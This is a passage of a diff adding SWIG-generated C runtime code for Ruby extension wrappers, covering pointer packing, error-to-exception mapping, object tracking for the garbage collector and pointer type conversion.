+      uu = ((d - ('a'-10)) << 4);
+    else 
+      return (char *) 0;
+    d = *(c++);
+    if ((d >= '0') && (d <= '9'))
+      uu |= (d - '0');
+    else if ((d >= 'a') && (d <= 'f'))
+      uu |= (d - ('a'-10));
+    else 
+      return (char *) 0;
+    *u = uu;
+  }
+  return c;
+}
+
+/* 
+   Pack 'void *' into a string buffer.
+*/
+SWIGRUNTIME char *
+SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) {
+  char *r = buff;
+  if ((2*sizeof(void *) + 2) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,&ptr,sizeof(void *));
+  if (strlen(name) + 1 > (bsz - (r - buff))) return 0;
+  strcpy(r,name);
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      *ptr = (void *) 0;
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sizeof(void *));
+}
+
+SWIGRUNTIME char *
+SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) {
+  char *r = buff;
+  size_t lname = (name ? strlen(name) : 0);
+  if ((2*sz + 2 + lname) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  if (lname) {
+    strncpy(r,name,lname+1);
+  } else {
+    *r = 0;
+  }
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      memset(ptr,0,sz);
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sz);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/*  Errors in SWIG */
+#define  SWIG_UnknownError    	   -1 
+#define  SWIG_IOError        	   -2 
+#define  SWIG_RuntimeError   	   -3 
+#define  SWIG_IndexError     	   -4 
+#define  SWIG_TypeError      	   -5 
+#define  SWIG_DivisionByZero 	   -6 
+#define  SWIG_OverflowError  	   -7 
+#define  SWIG_SyntaxError    	   -8 
+#define  SWIG_ValueError     	   -9 
+#define  SWIG_SystemError    	   -10
+#define  SWIG_AttributeError 	   -11
+#define  SWIG_MemoryError    	   -12 
+#define  SWIG_NullReferenceError   -13
+
+
+
+#include <ruby.h>
+
+/* Remove global macros defined in Ruby's win32.h */
+#ifdef write
+# undef write
+#endif
+#ifdef read
+# undef read
+#endif
+
+
+/* Ruby 1.7 defines NUM2LL(), LL2NUM() and ULL2NUM() macros */
+#ifndef NUM2LL
+#define NUM2LL(x) NUM2LONG((x))
+#endif
+#ifndef LL2NUM
+#define LL2NUM(x) INT2NUM((long) (x))
+#endif
+#ifndef ULL2NUM
+#define ULL2NUM(x) UINT2NUM((unsigned long) (x))
+#endif
+
+/* Ruby 1.7 doesn't (yet) define NUM2ULL() */
+#ifndef NUM2ULL
+#ifdef HAVE_LONG_LONG
+#define NUM2ULL(x) rb_num2ull((x))
+#else
+#define NUM2ULL(x) NUM2ULONG(x)
+#endif
+#endif
+
+/* RSTRING_LEN, etc are new in Ruby 1.9, but ->ptr and ->len no longer work */
+/* Define these for older versions so we can just write code the new way */
+#ifndef RSTRING_LEN
+# define RSTRING_LEN(x) RSTRING(x)->len
+#endif
+#ifndef RSTRING_PTR
+# define RSTRING_PTR(x) RSTRING(x)->ptr
+#endif
+#ifndef RSTRING_END
+# define RSTRING_END(x) (RSTRING_PTR(x) + RSTRING_LEN(x))
+#endif
+#ifndef RARRAY_LEN
+# define RARRAY_LEN(x) RARRAY(x)->len
+#endif
+#ifndef RARRAY_PTR
+# define RARRAY_PTR(x) RARRAY(x)->ptr
+#endif
+#ifndef RFLOAT_VALUE
+# define RFLOAT_VALUE(x) RFLOAT(x)->value
+#endif
+#ifndef DOUBLE2NUM
+# define DOUBLE2NUM(x) rb_float_new(x)
+#endif
+#ifndef RHASH_TBL
+# define RHASH_TBL(x) (RHASH(x)->tbl)
+#endif
+#ifndef RHASH_ITER_LEV
+# define RHASH_ITER_LEV(x) (RHASH(x)->iter_lev)
+#endif
+#ifndef RHASH_IFNONE
+# define RHASH_IFNONE(x) (RHASH(x)->ifnone)
+#endif
+#ifndef RHASH_SIZE
+# define RHASH_SIZE(x) (RHASH(x)->tbl->num_entries)
+#endif
+#ifndef RHASH_EMPTY_P
+# define RHASH_EMPTY_P(x) (RHASH_SIZE(x) == 0)
+#endif
+#ifndef RSTRUCT_LEN
+# define RSTRUCT_LEN(x) RSTRUCT(x)->len
+#endif
+#ifndef RSTRUCT_PTR
+# define RSTRUCT_PTR(x) RSTRUCT(x)->ptr
+#endif
+
+
+
+/*
+ * Need to be very careful about how these macros are defined, especially
+ * when compiling C++ code or C code with an ANSI C compiler.
+ *
+ * VALUEFUNC(f) is a macro used to typecast a C function that implements
+ * a Ruby method so that it can be passed as an argument to API functions
+ * like rb_define_method() and rb_define_singleton_method().
+ *
+ * VOIDFUNC(f) is a macro used to typecast a C function that implements
+ * either the "mark" or "free" stuff for a Ruby Data object, so that it
+ * can be passed as an argument to API functions like Data_Wrap_Struct()
+ * and Data_Make_Struct().
+ */
+ 
+#ifdef __cplusplus
+#  ifndef RUBY_METHOD_FUNC /* These definitions should work for Ruby 1.4.6 */
+#    define PROTECTFUNC(f) ((VALUE (*)()) f)
+#    define VALUEFUNC(f) ((VALUE (*)()) f)
+#    define VOIDFUNC(f)  ((void (*)()) f)
+#  else
+#    ifndef ANYARGS /* These definitions should work for Ruby 1.6 */
+#      define PROTECTFUNC(f) ((VALUE (*)()) f)
+#      define VALUEFUNC(f) ((VALUE (*)()) f)
+#      define VOIDFUNC(f)  ((RUBY_DATA_FUNC) f)
+#    else /* These definitions should work for Ruby 1.7+ */
+#      define PROTECTFUNC(f) ((VALUE (*)(VALUE)) f)
+#      define VALUEFUNC(f) ((VALUE (*)(ANYARGS)) f)
+#      define VOIDFUNC(f)  ((RUBY_DATA_FUNC) f)
+#    endif
+#  endif
+#else
+#  define VALUEFUNC(f) (f)
+#  define VOIDFUNC(f) (f)
+#endif
+
+/* Don't use for expressions have side effect */
+#ifndef RB_STRING_VALUE
+#define RB_STRING_VALUE(s) (TYPE(s) == T_STRING ? (s) : (*(volatile VALUE *)&(s) = rb_str_to_str(s)))
+#endif
+#ifndef StringValue
+#define StringValue(s) RB_STRING_VALUE(s)
+#endif
+#ifndef StringValuePtr
+#define StringValuePtr(s) RSTRING_PTR(RB_STRING_VALUE(s))
+#endif
+#ifndef StringValueLen
+#define StringValueLen(s) RSTRING_LEN(RB_STRING_VALUE(s))
+#endif
+#ifndef SafeStringValue
+#define SafeStringValue(v) do {\
+    StringValue(v);\
+    rb_check_safe_str(v);\
+} while (0)
+#endif
+
+#ifndef HAVE_RB_DEFINE_ALLOC_FUNC
+#define rb_define_alloc_func(klass, func) rb_define_singleton_method((klass), "new", VALUEFUNC((func)), -1)
+#define rb_undef_alloc_func(klass) rb_undef_method(CLASS_OF((klass)), "new")
+#endif
+
+static VALUE _mSWIG = Qnil;
+
+/* -----------------------------------------------------------------------------
+ * error manipulation
+ * ----------------------------------------------------------------------------- */
+
+
+/* Define some additional error types */
+#define SWIG_ObjectPreviouslyDeletedError  -100
+
+
+/* Define custom exceptions for errors that do not map to existing Ruby
+   exceptions.  Note this only works for C++ since a global cannot be
+   initialized by a funtion in C.  For C, fallback to rb_eRuntimeError.*/
+
+SWIGINTERN VALUE 
+getNullReferenceError(void) {
+  static int init = 0;
+  static VALUE rb_eNullReferenceError ;
+  if (!init) {
+    init = 1;
+    rb_eNullReferenceError = rb_define_class("NullReferenceError", rb_eRuntimeError);
+  }
+  return rb_eNullReferenceError;
+} 
+
+SWIGINTERN VALUE 
+getObjectPreviouslyDeletedError(void) {
+  static int init = 0;
+  static VALUE rb_eObjectPreviouslyDeleted ;
+  if (!init) {
+    init = 1;
+    rb_eObjectPreviouslyDeleted = rb_define_class("ObjectPreviouslyDeleted", rb_eRuntimeError);
+  }
+  return rb_eObjectPreviouslyDeleted;
+} 
+
+
+SWIGINTERN VALUE
+SWIG_Ruby_ErrorType(int SWIG_code) {
+  VALUE type;
+  switch (SWIG_code) {
+  case SWIG_MemoryError:
+    type = rb_eNoMemError;
+    break;
+  case SWIG_IOError:
+    type = rb_eIOError;
+    break;
+  case SWIG_RuntimeError:
+    type = rb_eRuntimeError;
+    break;
+  case SWIG_IndexError:
+    type = rb_eIndexError;
+    break;
+  case SWIG_TypeError:
+    type = rb_eTypeError;
+    break;
+  case SWIG_DivisionByZero:
+    type = rb_eZeroDivError;
+    break;
+  case SWIG_OverflowError:
+    type = rb_eRangeError;
+    break;
+  case SWIG_SyntaxError:
+    type = rb_eSyntaxError;
+    break;
+  case SWIG_ValueError:
+    type = rb_eArgError;
+    break;
+  case SWIG_SystemError:
+    type = rb_eFatal;
+    break;
+  case SWIG_AttributeError:
+    type = rb_eRuntimeError;
+    break;
+  case SWIG_NullReferenceError:
+    type = getNullReferenceError();
+    break;
+  case SWIG_ObjectPreviouslyDeletedError:
+    type = getObjectPreviouslyDeletedError();
+    break;
+  case SWIG_UnknownError:
+    type = rb_eRuntimeError;
+    break;
+  default:
+    type = rb_eRuntimeError;
+  }
+  return type;
+}
+
+
+/* This function is called when a user inputs a wrong argument to
+   a method.
+ */
+SWIGINTERN 
+const char* Ruby_Format_TypeError( const char* msg,
+				   const char* type, 
+				   const char* name, 
+				   const int argn,
+				   VALUE input )
+{
+  char buf[128];
+  VALUE str;
+  VALUE asStr;
+  if ( msg && *msg )
+    {
+      str = rb_str_new2(msg);
+    }
+  else
+    {
+      str = rb_str_new(NULL, 0);
+    }
+
+  str = rb_str_cat2( str, "Expected argument " );
+  sprintf( buf, "%d of type ", argn-1 );
+  str = rb_str_cat2( str, buf );
+  str = rb_str_cat2( str, type );
+  str = rb_str_cat2( str, ", but got " );
+  str = rb_str_cat2( str, rb_obj_classname(input) );
+  str = rb_str_cat2( str, " " );
+  asStr = rb_inspect(input);
+  if ( RSTRING_LEN(asStr) > 30 )
+    {
+      str = rb_str_cat( str, StringValuePtr(asStr), 30 );
+      str = rb_str_cat2( str, "..." );
+    }
+  else
+    {
+      str = rb_str_append( str, asStr );
+    }
+
+  if ( name )
+    {
+      str = rb_str_cat2( str, "\n\tin SWIG method '" );
+      str = rb_str_cat2( str, name );
+      str = rb_str_cat2( str, "'" );
+    }
+
+  return StringValuePtr( str );
+}
+
+/* This function is called when an overloaded method fails */
+SWIGINTERN 
+void Ruby_Format_OverloadedError(
+				 const int argc,
+				 const int maxargs,
+				 const char* method, 
+				 const char* prototypes 
+				 )
+{
+  const char* msg = "Wrong # of arguments";
+  if ( argc <= maxargs ) msg = "Wrong arguments";
+  rb_raise(rb_eArgError,"%s for overloaded method '%s'.\n"  
+	   "Possible C/C++ prototypes are:\n%s",
+	   msg, method, prototypes);
+}
+
+/* -----------------------------------------------------------------------------
+ * See the LICENSE file for information on copyright, usage and redistribution
+ * of SWIG, and the README file for authors - http://www.swig.org/release.html.
+ *
+ * rubytracking.swg
+ *
+ * This file contains support for tracking mappings from 
+ * Ruby objects to C++ objects.  This functionality is needed
+ * to implement mark functions for Ruby's mark and sweep
+ * garbage collector.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* Ruby 1.8 actually assumes the first case. */
+#if SIZEOF_VOIDP == SIZEOF_LONG
+#  define SWIG2NUM(v) LONG2NUM((unsigned long)v)
+#  define NUM2SWIG(x) (unsigned long)NUM2LONG(x)
+#elif SIZEOF_VOIDP == SIZEOF_LONG_LONG
+#  define SWIG2NUM(v) LL2NUM((unsigned long long)v)
+#  define NUM2SWIG(x) (unsigned long long)NUM2LL(x)
+#else
+#  error sizeof(void*) is not the same as long or long long
+#endif
+
+
+/* Global Ruby hash table to store Trackings from C/C++
+   structs to Ruby Objects. 
+*/
+static VALUE swig_ruby_trackings = Qnil;
+
+/* Global variable that stores a reference to the ruby
+   hash table delete function. */
+static ID swig_ruby_hash_delete;
+
+/* Setup a Ruby hash table to store Trackings */
+SWIGRUNTIME void SWIG_RubyInitializeTrackings(void) {
+  /* Create a ruby hash table to store Trackings from C++ 
+     objects to Ruby objects. */
+
+  /* Try to see if some other .so has already created a 
+     tracking hash table, which we keep hidden in an instance var
+     in the SWIG module.
+     This is done to allow multiple DSOs to share the same
+     tracking table.
+  */
+  ID trackings_id = rb_intern( "@__trackings__" );
+  VALUE verbose = rb_gv_get("VERBOSE");
+  rb_gv_set("VERBOSE", Qfalse);
+  swig_ruby_trackings = rb_ivar_get( _mSWIG, trackings_id );
+  rb_gv_set("VERBOSE", verbose);
+
+  /* No, it hasn't.  Create one ourselves */ 
+  if ( swig_ruby_trackings == Qnil )
+    {
+      swig_ruby_trackings = rb_hash_new();
+      rb_ivar_set( _mSWIG, trackings_id, swig_ruby_trackings );
+    }
+
+  /* Now store a reference to the hash table delete function
+     so that we only have to look it up once.*/
+  swig_ruby_hash_delete = rb_intern("delete");
+}
+
+/* Get a Ruby number to reference a pointer */
+SWIGRUNTIME VALUE SWIG_RubyPtrToReference(void* ptr) {
+  /* We cast the pointer to an unsigned long
+     and then store a reference to it using
+     a Ruby number object. */
+
+  /* Convert the pointer to a Ruby number */
+  return SWIG2NUM(ptr);
+}
+
+/* Get a Ruby number to reference an object */
+SWIGRUNTIME VALUE SWIG_RubyObjectToReference(VALUE object) {
+  /* We cast the object to an unsigned long
+     and then store a reference to it using
+     a Ruby number object. */
+
+  /* Convert the Object to a Ruby number */
+  return SWIG2NUM(object);
+}
+
+/* Get a Ruby object from a previously stored reference */
+SWIGRUNTIME VALUE SWIG_RubyReferenceToObject(VALUE reference) {
+  /* The provided Ruby number object is a reference
+     to the Ruby object we want.*/
+
+  /* Convert the Ruby number to a Ruby object */
+  return NUM2SWIG(reference);
+}
+
+/* Add a Tracking from a C/C++ struct to a Ruby object */
+SWIGRUNTIME void SWIG_RubyAddTracking(void* ptr, VALUE object) {
+  /* In a Ruby hash table we store the pointer and
+     the associated Ruby object.  The trick here is
+     that we cannot store the Ruby object directly - if
+     we do then it cannot be garbage collected.  So
+     instead we typecast it as a unsigned long and
+     convert it to a Ruby number object.*/
+
+  /* Get a reference to the pointer as a Ruby number */
+  VALUE key = SWIG_RubyPtrToReference(ptr);
+
+  /* Get a reference to the Ruby object as a Ruby number */
+  VALUE value = SWIG_RubyObjectToReference(object);
+
+  /* Store the mapping to the global hash table. */
+  rb_hash_aset(swig_ruby_trackings, key, value);
+}
+
+/* Get the Ruby object that owns the specified C/C++ struct */
+SWIGRUNTIME VALUE SWIG_RubyInstanceFor(void* ptr) {
+  /* Get a reference to the pointer as a Ruby number */
+  VALUE key = SWIG_RubyPtrToReference(ptr);
+
+  /* Now lookup the value stored in the global hash table */
+  VALUE value = rb_hash_aref(swig_ruby_trackings, key);
+	
+  if (value == Qnil) {
+    /* No object exists - return nil. */
+    return Qnil;
+  }
+  else {
+    /* Convert this value to Ruby object */
+    return SWIG_RubyReferenceToObject(value);
+  }
+}
+
+/* Remove a Tracking from a C/C++ struct to a Ruby object.  It
+   is very important to remove objects once they are destroyed
+   since the same memory address may be reused later to create
+   a new object. */
+SWIGRUNTIME void SWIG_RubyRemoveTracking(void* ptr) {
+  /* Get a reference to the pointer as a Ruby number */
+  VALUE key = SWIG_RubyPtrToReference(ptr);
+
+  /* Delete the object from the hash table by calling Ruby's
+     do this we need to call the Hash.delete method.*/
+  rb_funcall(swig_ruby_trackings, swig_ruby_hash_delete, 1, key);
+}
+
+/* This is a helper method that unlinks a Ruby object from its
+   underlying C++ object.  This is needed if the lifetime of the
+   Ruby object is longer than the C++ object */
+SWIGRUNTIME void SWIG_RubyUnlinkObjects(void* ptr) {
+  VALUE object = SWIG_RubyInstanceFor(ptr);
+
+  if (object != Qnil) {
+    DATA_PTR(object) = 0;
+  }
+}
+
+
+#ifdef __cplusplus
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ * Ruby API portion that goes into the runtime
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+SWIGINTERN VALUE
+SWIG_Ruby_AppendOutput(VALUE target, VALUE o) {
+  if (NIL_P(target)) {
+    target = o;
+  } else {
+    if (TYPE(target) != T_ARRAY) {
+      VALUE o2 = target;
+      target = rb_ary_new();
+      rb_ary_push(target, o2);
+    }
+    rb_ary_push(target, o);
+  }
+  return target;
+}
+
+/* For ruby1.8.4 and earlier. */
+#ifndef RUBY_INIT_STACK
+   RUBY_EXTERN void Init_stack(VALUE* addr);
+#  define RUBY_INIT_STACK \
+   VALUE variable_in_this_stack_frame; \
+   Init_stack(&variable_in_this_stack_frame);
+#endif
+
+
+#ifdef __cplusplus
+}
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * See the LICENSE file for information on copyright, usage and redistribution
+ * of SWIG, and the README file for authors - http://www.swig.org/release.html.
+ *
+ * rubyrun.swg
+ *
+ * This file contains the runtime support for Ruby modules
+ * and includes code for managing global variables and pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* For backward compatibility only */
+#define SWIG_POINTER_EXCEPTION  0
+
+/* for raw pointers */
+#define SWIG_ConvertPtr(obj, pptr, type, flags)         SWIG_Ruby_ConvertPtrAndOwn(obj, pptr, type, flags, 0)
+#define SWIG_ConvertPtrAndOwn(obj,pptr,type,flags,own)  SWIG_Ruby_ConvertPtrAndOwn(obj, pptr, type, flags, own)
+#define SWIG_NewPointerObj(ptr, type, flags)            SWIG_Ruby_NewPointerObj(ptr, type, flags)
+#define SWIG_AcquirePtr(ptr, own)                       SWIG_Ruby_AcquirePtr(ptr, own)
+#define swig_owntype                                    ruby_owntype
+
+/* for raw packed data */
+#define SWIG_ConvertPacked(obj, ptr, sz, ty)            SWIG_Ruby_ConvertPacked(obj, ptr, sz, ty, flags)
+#define SWIG_NewPackedObj(ptr, sz, type)                SWIG_Ruby_NewPackedObj(ptr, sz, type)
+
+/* for class or struct pointers */
+#define SWIG_ConvertInstance(obj, pptr, type, flags)    SWIG_ConvertPtr(obj, pptr, type, flags)
+#define SWIG_NewInstanceObj(ptr, type, flags)           SWIG_NewPointerObj(ptr, type, flags)
+
+/* for C or C++ function pointers */
+#define SWIG_ConvertFunctionPtr(obj, pptr, type)        SWIG_ConvertPtr(obj, pptr, type, 0)
+#define SWIG_NewFunctionPtrObj(ptr, type)               SWIG_NewPointerObj(ptr, type, 0)
+
+/* for C++ member pointers, ie, member methods */
+#define SWIG_ConvertMember(obj, ptr, sz, ty)            SWIG_Ruby_ConvertPacked(obj, ptr, sz, ty)
+#define SWIG_NewMemberObj(ptr, sz, type)                SWIG_Ruby_NewPackedObj(ptr, sz, type)
+
+
+/* Runtime API */
+
+#define SWIG_GetModule(clientdata)                      SWIG_Ruby_GetModule()	
+#define SWIG_SetModule(clientdata, pointer) 		SWIG_Ruby_SetModule(pointer)
+
+
+/* Error manipulation */
+
+#define SWIG_ErrorType(code)                            SWIG_Ruby_ErrorType(code)               
+#define SWIG_Error(code, msg)            		rb_raise(SWIG_Ruby_ErrorType(code), msg)
+#define SWIG_fail                        		goto fail				 
+
+
+/* Ruby-specific SWIG API */
+
+#define SWIG_InitRuntime()                              SWIG_Ruby_InitRuntime()              
+#define SWIG_define_class(ty)                        	SWIG_Ruby_define_class(ty)
+#define SWIG_NewClassInstance(value, ty)             	SWIG_Ruby_NewClassInstance(value, ty)
+#define SWIG_MangleStr(value)                        	SWIG_Ruby_MangleStr(value)		  
+#define SWIG_CheckConvert(value, ty)                 	SWIG_Ruby_CheckConvert(value, ty)	  
+
+#include "assert.h"
+
+/* -----------------------------------------------------------------------------
+ * pointers/data manipulation
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct {
+  VALUE klass;
+  VALUE mImpl;
+  void  (*mark)(void *);
+  void  (*destroy)(void *);
+  int trackObjects;
+} swig_class;
+
+
+/* Global pointer used to keep some internal SWIG stuff */
+static VALUE _cSWIG_Pointer = Qnil;
+static VALUE swig_runtime_data_type_pointer = Qnil;
+
+/* Global IDs used to keep some internal SWIG stuff */
+static ID swig_arity_id = 0;
+static ID swig_call_id  = 0;
+
+/*
+  If your swig extension is to be run within an embedded ruby and has
+  director callbacks, you should set -DRUBY_EMBEDDED during compilation.  
+  This will reset ruby's stack frame on each entry point from the main 
+  program the first time a virtual director function is invoked (in a 
+  non-recursive way).
+  If this is not done, you run the risk of Ruby trashing the stack.
+*/
+
+#ifdef RUBY_EMBEDDED
+
+#  define SWIG_INIT_STACK                            \
+      if ( !swig_virtual_calls ) { RUBY_INIT_STACK } \
+      ++swig_virtual_calls;
+#  define SWIG_RELEASE_STACK --swig_virtual_calls;
+#  define Ruby_DirectorTypeMismatchException(x) \
+          rb_raise( rb_eTypeError, x ); return c_result;
+
+      static unsigned int swig_virtual_calls = 0;
+
+#else  /* normal non-embedded extension */
+
+#  define SWIG_INIT_STACK
+#  define SWIG_RELEASE_STACK
+#  define Ruby_DirectorTypeMismatchException(x) \
+          throw Swig::DirectorTypeMismatchException( x );
+
+#endif  /* RUBY_EMBEDDED */
+
+
+SWIGRUNTIME VALUE 
+getExceptionClass(void) {
+  static int init = 0;
+  static VALUE rubyExceptionClass ;
+  if (!init) {
+    init = 1;
+    rubyExceptionClass = rb_const_get(_mSWIG, rb_intern("Exception"));
+  }
+  return rubyExceptionClass;
+} 
+
+/* This code checks to see if the Ruby object being raised as part
+   of an exception inherits from the Ruby class Exception.  If so,
+   the object is simply returned.  If not, then a new Ruby exception
+   object is created and that will be returned to Ruby.*/
+SWIGRUNTIME VALUE
+SWIG_Ruby_ExceptionType(swig_type_info *desc, VALUE obj) {
+  VALUE exceptionClass = getExceptionClass();
+  if (rb_obj_is_kind_of(obj, exceptionClass)) {
+    return obj;
+  }  else {
+    return rb_exc_new3(rb_eRuntimeError, rb_obj_as_string(obj));
+  }
+}
+
+/* Initialize Ruby runtime support */
+SWIGRUNTIME void
+SWIG_Ruby_InitRuntime(void)
+{
+  if (_mSWIG == Qnil) {
+    _mSWIG = rb_define_module("SWIG");
+    swig_call_id  = rb_intern("call");
+    swig_arity_id = rb_intern("arity");
+  }
+}
+
+/* Define Ruby class for C type */
+SWIGRUNTIME void
+SWIG_Ruby_define_class(swig_type_info *type)
+{
+  VALUE klass;
+  char *klass_name = (char *) malloc(4 + strlen(type->name) + 1);
+  sprintf(klass_name, "TYPE%s", type->name);
+  if (NIL_P(_cSWIG_Pointer)) {
+    _cSWIG_Pointer = rb_define_class_under(_mSWIG, "Pointer", rb_cObject);
+    rb_undef_method(CLASS_OF(_cSWIG_Pointer), "new");
+  }
+  klass = rb_define_class_under(_mSWIG, klass_name, _cSWIG_Pointer);
+  free((void *) klass_name);
+}
+
+/* Create a new pointer object */
+SWIGRUNTIME VALUE
+SWIG_Ruby_NewPointerObj(void *ptr, swig_type_info *type, int flags)
+{
+  int own =  flags & SWIG_POINTER_OWN; 
+  int track;
+  char *klass_name;
+  swig_class *sklass;
+  VALUE klass;
+  VALUE obj;
+  
+  if (!ptr)
+    return Qnil;
+  
+  if (type->clientdata) {
+    sklass = (swig_class *) type->clientdata;
+		
+    /* Are we tracking this class and have we already returned this Ruby object? */
+    track = sklass->trackObjects;
+    if (track) {
+      obj = SWIG_RubyInstanceFor(ptr);
+      
+      /* Check the object's type and make sure it has the correct type.
+        It might not in cases where methods do things like 
+        downcast methods. */
+      if (obj != Qnil) {
+        VALUE value = rb_iv_get(obj, "@__swigtype__");
+        char* type_name = RSTRING_PTR(value);
+				
+        if (strcmp(type->name, type_name) == 0) {
+          return obj;
+        }
+      }
+    }
+
+    /* Create a new Ruby object */
+    obj = Data_Wrap_Struct(sklass->klass, VOIDFUNC(sklass->mark), 
+			   ( own ? VOIDFUNC(sklass->destroy) : 
+			     (track ? VOIDFUNC(SWIG_RubyRemoveTracking) : 0 )
+			     ), ptr);
+
+    /* If tracking is on for this class then track this object. */
+    if (track) {
+      SWIG_RubyAddTracking(ptr, obj);
+    }
+  } else {
+    klass_name = (char *) malloc(4 + strlen(type->name) + 1);
+    sprintf(klass_name, "TYPE%s", type->name);
+    klass = rb_const_get(_mSWIG, rb_intern(klass_name));
+    free((void *) klass_name);
+    obj = Data_Wrap_Struct(klass, 0, 0, ptr);
+  }
+  rb_iv_set(obj, "@__swigtype__", rb_str_new2(type->name));
+  
+  return obj;
+}
+
+/* Create a new class instance (always owned) */
+SWIGRUNTIME VALUE
+SWIG_Ruby_NewClassInstance(VALUE klass, swig_type_info *type)
+{
+  VALUE obj;
+  swig_class *sklass = (swig_class *) type->clientdata;
+  obj = Data_Wrap_Struct(klass, VOIDFUNC(sklass->mark), VOIDFUNC(sklass->destroy), 0);
+  rb_iv_set(obj, "@__swigtype__", rb_str_new2(type->name));
+  return obj;
+}
+
+/* Get type mangle from class name */
+SWIGRUNTIMEINLINE char *
+SWIG_Ruby_MangleStr(VALUE obj)
+{
+  VALUE stype = rb_iv_get(obj, "@__swigtype__");
+  return StringValuePtr(stype);
+}
+
+/* Acquire a pointer value */
+typedef void (*ruby_owntype)(void*);
+
+SWIGRUNTIME ruby_owntype
+SWIG_Ruby_AcquirePtr(VALUE obj, ruby_owntype own) {
+  if (obj) {
+    ruby_owntype oldown = RDATA(obj)->dfree;
+    RDATA(obj)->dfree = own;
+    return oldown;
+  } else {
+    return 0;
+  }
+}
+
+/* Convert a pointer value */
+SWIGRUNTIME int
+SWIG_Ruby_ConvertPtrAndOwn(VALUE obj, void **ptr, swig_type_info *ty, int flags, ruby_owntype *own)
+{
+  char *c;
+  swig_cast_info *tc;
+  void *vptr = 0;
+
+  /* Grab the pointer */
+  if (NIL_P(obj)) {
+    *ptr = 0;
+    return SWIG_OK;
+  } else {
+    if (TYPE(obj) != T_DATA) {
+      return SWIG_ERROR;
+    }
+    Data_Get_Struct(obj, void, vptr);
+  }
+  
+  if (own) *own = RDATA(obj)->dfree;
+    
+  /* Check to see if the input object is giving up ownership
+     of the underlying C struct or C++ object.  If so then we
+     need to reset the destructor since the Ruby object no 
+     longer owns the underlying C++ object.*/ 
+  if (flags & SWIG_POINTER_DISOWN) {
+    /* Is tracking on for this class? */
+    int track = 0;
+    if (ty && ty->clientdata) {
+      swig_class *sklass = (swig_class *) ty->clientdata;
+      track = sklass->trackObjects;
+    }
+		
+    if (track) {
+      /* We are tracking objects for this class.  Thus we change the destructor
+       * to SWIG_RubyRemoveTracking.  This allows us to
+       * remove the mapping from the C++ to Ruby object
+       * when the Ruby object is garbage collected.  If we don't
+       * do this, then it is possible we will return a reference 
+       * to a Ruby object that no longer exists thereby crashing Ruby. */
+      RDATA(obj)->dfree = SWIG_RubyRemoveTracking;
+    } else {    
+      RDATA(obj)->dfree = 0;
+    }
+  }
+
+  /* Do type-checking if type info was provided */
+  if (ty) {
+    if (ty->clientdata) {
+      if (rb_obj_is_kind_of(obj, ((swig_class *) (ty->clientdata))->klass)) {
+        if (vptr == 0) {
+          /* The object has already been deleted */
+          return SWIG_ObjectPreviouslyDeletedError;
+        }
+        *ptr = vptr;
+        return SWIG_OK;
+      }
+    }
+    if ((c = SWIG_MangleStr(obj)) == NULL) {
+      return SWIG_ERROR;
+    }
+    tc = SWIG_TypeCheck(c, ty);
+    if (!tc) {
+      return SWIG_ERROR;
+    } else {
+      int newmemory = 0;
+      *ptr = SWIG_TypeCast(tc, vptr, &newmemory);
+      assert(!newmemory); /* newmemory handling not yet implemented */
+    }
+  } else {
+    *ptr = vptr;
+  }
+  
+  return SWIG_OK;
+}
+
+/* Check convert */
+SWIGRUNTIMEINLINE int
+SWIG_Ruby_CheckConvert(VALUE obj, swig_type_info *ty)
+{
+  char *c = SWIG_MangleStr(obj);
+  if (!c) return 0;
+  return SWIG_TypeCheck(c,ty) != 0;
+}
+
+SWIGRUNTIME VALUE
+SWIG_Ruby_NewPackedObj(void *ptr, int sz, swig_type_info *type) {
+  char result[1024];
+  char *r = result;
+  if ((2*sz + 1 + strlen(type->name)) > 1000) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r, ptr, sz);
+  strcpy(r, type->name);
+  return rb_str_new2(result);
+}
+
+/* Convert a packed value value */
+SWIGRUNTIME int
+SWIG_Ruby_ConvertPacked(VALUE obj, void *ptr, int sz, swig_type_info *ty) {
+  swig_cast_info *tc;
+  const char  *c;
+
+  if (TYPE(obj) != T_STRING) goto type_error;
+  c = StringValuePtr(obj);
+  /* Pointer values must start with leading underscore */
+  if (*c != '_') goto type_error;
+  c++;
+  c = SWIG_UnpackData(c, ptr, sz);
+  if (ty) {
+    tc = SWIG_TypeCheck(c, ty);
+    if (!tc) goto type_error;
+  }
+  return SWIG_OK;
+
+ type_error:
+  return SWIG_ERROR;
+}
+
+SWIGRUNTIME swig_module_info *
+SWIG_Ruby_GetModule(void)
+{
+  VALUE pointer;
+  swig_module_info *ret = 0;
+  VALUE verbose = rb_gv_get("VERBOSE");
+
+ /* temporarily disable warnings, since the pointer check causes warnings with 'ruby -w' */
+  rb_gv_set("VERBOSE", Qfalse);
+  
+  /* first check if pointer already created */
+  pointer = rb_gv_get("$swig_runtime_data_type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME);
+  if (pointer != Qnil) {
+    Data_Get_Struct(pointer, swig_module_info, ret);
+  }
+
+  /* reinstate warnings */
+  rb_gv_set("VERBOSE", verbose);
+  return ret;
+}
+
+SWIGRUNTIME void 
+SWIG_Ruby_SetModule(swig_module_info *pointer)
+{
+  /* register a new class */
+  VALUE cl = rb_define_class("swig_runtime_data", rb_cObject);
